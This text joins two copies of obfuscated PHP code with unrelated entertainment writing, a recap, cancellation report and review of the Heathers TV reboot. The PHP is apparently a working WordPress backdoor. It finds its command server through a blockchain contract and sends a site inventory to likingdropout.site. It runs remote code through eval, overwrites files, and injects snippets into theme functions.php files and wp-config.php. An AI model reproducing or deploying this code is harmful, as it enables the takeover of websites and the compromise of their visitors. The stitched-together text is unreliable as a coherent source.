// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Listen up, bus trash! We’re about to discuss both parts of Thursday’s Heathers premiere. If you don’t want to be spoiled, you should probably turn back now. Dear Diary… Nearly two years after being ordered to series, Paramount Network’s long-shelved Heathers reboot — based on the 1988 cult classic — has finally arrived, and no one is safe. (Well, no one named Heather, anyway.) Thursday’s two-part premiere introduces us to Veronica Sawyer (played by Grace Victoria Cox), a high school girl in the midst of a major identity crisis — that crisis being that she doesn’t have one, and no amount of inspirational Khloe Kardashian quotes displayed in front of the school can help her. In fact, Veronica is so unsure of her place in the world that she turns to Westerberg High’s unholy trinity (aka the Heathers) for guidance: There’s ringleader Heather Chandler (Melanie Field), a body-positive social justice warrior with a robust social media following; second banana Heather Duke (Brendan Scannell), who identifies as gender-queer; and Heather McNamara (Jasmine Matthews), who just wants to be accepted… even if it means lying about being a lesbian. But everything changes upon the arrival of new student JD (James Scully), a bad boy who just wants to sit back and watch the world burn while knocking back a “blue flavor” slushie. “A little self-hatred is good for the soul,” he tells Veronica, before revealing his twisted revenge plot against Heather Chandler: break into her house and take a picture of her sleeping in a Nazi hat. (Troubling side note: JD’s dad collects Nazi memorabilia to remind him of “simpler times.”) But things immediately go off the rails when Heather wakes up (“What the queef is this?!”), chokes on a bag of corn nuts (with a “German suicide pill” hidden inside!) and falls down dead, shattering her gorgeous glass coffee table in the process. Fortunately for JD and Veronica, Heather just let them film her jokingly saying “goodbye cruel world,” so they upload it to her social media accounts as her official suicide message. Westerberg High’s administration has no idea what to make of Heather’s apparent suicide (“Fat kids can be popular now?”), allowing her fellow classmates to seize this golden opportunity and restructure the school’s social hierarchy — especially Veronica’s former BFF Betty (Nikki SooHoo), who essentially usurps Heather’s throne overnight. Speaking of the “deceased,” the first half of the premiere ends with Heather waking up (the pill didn’t break!), only to discover that she’s become “f–king famous” for her tragic suicide. Thus, a new plan is born: Heather vows to become “the new face of suicide,” and as long as Veronica and JD don’t want to be exposed as attempted murderers, they’re going to help her. The second half of the premiere shines a light on Heather McNamara, whose plan for reinvention in the wake of Heather Chandler’s “death” are dashed when her affair with a (male!) teacher is exposed. Though the administration initially doubts the affair (“With all the Photoshop and drug-eating going on, this could be anyone!” the principal says of an incriminating photo), Heather’s secret boyfriend is given the boot after several other girls — including one who “looks like Jim Henson got in one last Muppet before he died” — come forward with similar stories. Already down on herself, Heather McNamara’s self-worth takes another serious blow when Heather Chandler returns from the dead at her own memorial service. “You lied about being a lesbian,” Heather C. reminds Heather M. “You know that’s a hate crime, right?” She then tells Heather M. to take the bus to school on Monday, because that’s what she is now. “Bus trash.” Now at her lowest point, Heather M. goes to the bathroom and slits her wrists. But even as she roller skates around town, leaving a trail of blood in her wake, no one seems to care. Her own parents don’t even look up to notice that she’s bleeding out on the couch right next to them — although parental obliviousness is kind of a running theme on this show, as it was in the movie. Speaking of the film, Paramount Network’s Heathers is peppered with nods to its source material, from Veronica’s monocle to the casting of Shannen Doherty (aka the original Heather Duke) as JD’s late mother. Your thoughts on the new series? Grade tonight’s two-part premiere in the polls below, then drop a comment with your full review. Here’s a nasty rumor that’s actually true: After a delayed start, Paramount Network has decided not to air the upcoming Heathers TV reboot at all, according to The Hollywood Reporter. The network ultimately decided that the reboot’s satirical depiction of violence inside a high school “didn’t feel right,” Paramount Network president of development and production Keith Cox tells THR. The reboot was set to debut back in March, but was delayed in the wake of the deadly school shooting in Parkland, Florida. Last month, a new July 10 premiere date was announced, but now the project has been scrapped entirely. Based on the iconic 1988 film starring Winona Ryder and Christian Slater, the new-look Heathers starred Grace Victoria Cox (Under the Dome) as teen Veronica Sawyer, who takes on her school’s mean-girl trio — aka “the Heathers” — with help from her unhinged new pal/lover J.D. (played by Quantico‘s James Scully). Original co-star Shannen Doherty was also onboard to make an appearance in the reboot.
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(This review was written before the Paramount Network made the decision to delay the premiere of Heathers until later this year. As the pilot episode is still available on the network’s site, we have made the decision to run the review.)
Michael Lehmann’s 1988 high school masterpiece Heathers, with a laser-sharp script by Daniel Waters, is ripe with poppy bon mots that still feel devilishly revolutionary, one of those rare late-decade gems that transcends its era while remaining appropriately of-the-time. The movie follows a clique of nasty high school girls – all named Heather – who terrorize their peers, challenging them to lunchroom dares, getting away with their own sort of mean girl terrorism. They’re flanked by a newbie to the group, Veronica Sawyer (Winona Ryder), who seems both appreciative of her newfound status, and cautiously cynical of its effect on her morality. The Heathers and Veronica speak in a referential pop culture code that modern imitators – from Diablo Cody to Ryan Murphy – have helped solidify as Hollywood “teen speak.” The lines drip with irony and humor, but remain unparalleled in originally. This is the film that first asked “what’s your damage?” That told us to “fuck me gently with a chainsaw.” It also popularized the descriptor “how very.”
Heathers has always seemed an untouchable entity in the pantheon of ‘80s classics. Post-Columbine, how do you remake a movie where teen-on-teen violence is funny? The original is, after all, all about Veronica and her sociopathic boyfriend J.D. (Christian Slater) murdering their classmates then framing their deaths as suicide. In one early scene, J.D. pulls a gun on two students. Later, he and Veronica shoot and kill two jocks and write a suicide note that erroneously outs them as gay lovers. The finale of Heathers has Veronica trapping J.D. in the school and blowing up the gymnasium – and him – with a bomb. That content was ghoulishly appropriate in the ‘80s. But in an era where school gun violence is a weekly occurrence, it doesn’t have the same critical bite.
Which brings us to the Paramount Network’s new anthology adaptation of Heathers, a series hitting airwaves at the exact wrong time, just a few weeks after one of the deadliest school shootings in history.
The show evades much of the gun violence from the original, but glamorizes teen suicide, perhaps more so than the original. It also inverts the stereotypical girl squad from the film. The Heathers in this version aren’t thin and white; they’re a self-identified fat girl, a black lesbian, and a genderqueer redhead. The sort of kids that would be punchlines in the original are now making the status quo. It’s a concept that might have worked if the show had any sort of insight of the actuality of Millennial youth. Instead, it mocks the social media platforms that are, in reality, galvanizing young people into political action. It mocks body positivity. It mocks queer identification. It sympathies with its new Veronica, a pretty blonde girl who struggles to get into college because she isn’t “different” enough. It’s about as mind-numbing a concept as you can imagine. The poor white straight kids! It’s so hard being them!
To bring it back to the original’s way with words, certain famous lines remain, but the show inverts others. “How very” becomes “how just,” and it’s hard not to laugh at how on-the-nose a metaphor that is for the difference between the two properties. The original was so “very” revolutionary, biting, and self-aware; it critiqued teen culture without criticizing it. The Heathers TV series is only “just” squeaking by, a try-hard attempt at satire that’ll make you long for that chainsaw.
The Heathers pilot is pretty much a play-by-play of the original film, some of it updated to its modern setting, some of it painstakingly devoted to its namesake for almost no reason. (Are Slushies and corn nuts actually popular among the teenage set these days? Asking for a friend.) It opens with a new version of “Que Sera, Sera” – falling short of the original’s haunting Syd Straw intro – and the suicide of J.D.’s mother (Shannen Doherty, who also played Heather Duke in the 1988 film). Her death is referred to in the original, but here we see it played out. The series choosing to open on a sequence that humanizes its villain is its first grave mistake, although I’m not totally sure that J.D. is meant to be the villain here, which is…an even worse problem. (More on that later.)
We’re then introduced to our new clique: lead mean girl Heather Chandler (Melanie Field), her cronies Heather Duke (Brendan Scannell) and Heather McNamara (Jasmine Mathews), and Veronica Sawyer (Grace Victoria Cox). The actors all have a lot of fun with their larger-than-life roles, but turning three would-be-outcasts into high school bullies just doesn’t land the way it’s trying to. It brings to mind the 21 Jump Street remake, which more successfully inverted the teen movie paradigm; in that film, the popular kids were no longer jocks, but hipsters. That’s a more ingenious take on how the times have changed.
Here, it’s implied that social media has given its Heathers a god complex; Heather Chandler wields her high-follower Twitter count like a weapon, threatening a fellow student in a t-shirt with an offensive Native American sports mascot. She forces him to take it off in the lunchroom and then say something sexually offensive to a religious girl seated nearby – or else face the wrath of her followers. He complies, but she later posts a picture of him wearing the shirt anyway. When Veronica protests, Heather explains herself: “I’m helping him. Sure, his life will suck for a few weeks and maybe he’ll lose his scholarship and won’t be able to go to college, but in the end he’ll realize that disrespecting disadvantaged people by wearing that shirt is wrong.”
There’s actually a nugget of a good idea buried somewhere in that sentiment. Heathers wants to explore outcry culture, and that social media gives young people an enormous amount of power they don’t always know how to handle. But – hear me out here – wouldn’t it still be more salient to give that venomous spurn to one of the stereotypically “hot” and vain girls of the original? It seems like a better idea to critique straight, white, model-hot allies than to assume the power-holders are the kids that defy social norms? This Heathers imagines that life is magically way easier for fat kids, for queer kids, for black kids in the social media age, which couldn’t possibly be more ridiculous. It’s also set in suburban Ohio, a state that voted overwhelmingly red in the last presidential election.
